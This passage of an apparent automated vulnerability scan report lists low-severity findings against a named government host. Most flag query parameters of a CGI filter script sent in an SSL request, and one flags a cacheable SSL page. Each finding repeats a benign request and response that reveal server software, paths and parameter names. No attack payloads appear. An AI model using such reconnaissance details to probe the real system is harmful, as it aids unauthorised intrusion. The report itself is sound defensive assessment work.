Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 14 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448153 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter3 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 15 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448157 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | isqc |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 16 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448165 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | proposed |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 17 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448167 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | glosspatient |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 18 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448171 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter9 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 19 of 33

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448172 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 4

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/Filter.py'
- Set query string to
'DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glosshp=true&publish
=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glossary=false&stdwo
rd=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Passthrough%20Filte
r&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9=&Filter10=&valid
ate=Y'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/Filter.py ? DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatie
nt=true&glosshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmark
up=true&glossary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Fil
ter=name:Passthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filte
r8=&Filter9=&Filter10=&validate=Y HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:17:36 GMT
Connection: close
Content-Length: 990

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<html>
<head>
<title>Validation results for CDR106085</title>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
</head>
<body>
<h2>Validation results for CDR106085</h2>
<table border='1' cellspacing='0' cellpadding='2'>
<tr>
<th>Type</th>
<th>Document</th>
<th>Line</th>
<th>Message</th>

...
```

## Issue 20 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448179 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | DocId |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 4

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 21 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448208 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | loeref |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 22 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448215 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 4

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 23 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448218 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | publish |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 24 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448246 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter8 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 25 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448249 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter1 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 26 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448254 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | DocVer |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 27 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448267 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | glossary |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 28 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448271 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | external |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 29 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448280 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | stdword |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 30 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448282 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter5 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 31 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448284 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | Filter7 |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

## Issue 32 of 33

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448310 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Filter.py |
| Parameter: | advisory |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 3

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-
bin/cdr/Filter.py?DocId=CDR106085&DocVer=lastp&editorial=true&advisory=false&glosspatient=true&glo
sshp=true&publish=false&approved=true&proposed=false&internal=true&external=true&rsmarkup=true&glo
ssary=false&stdword=false&port=&newdtd=pdqCG.dtd&ispp=false&isqc=false&loeref=false&Filter=name:Pa
ssthrough%20Filter&Filter1=&Filter2=&Filter3=&Filter4=&Filter5=&Filter6=&Filter7=&Filter8=&Filter9
=&Filter10= HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cdrFilter.html
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:39:04 GMT
Connection: close
Content-Length: 105

<Errors>
<Err>getDocString: Unable to find document CDR0000106085, version: -1</Err>
</Errors>
```

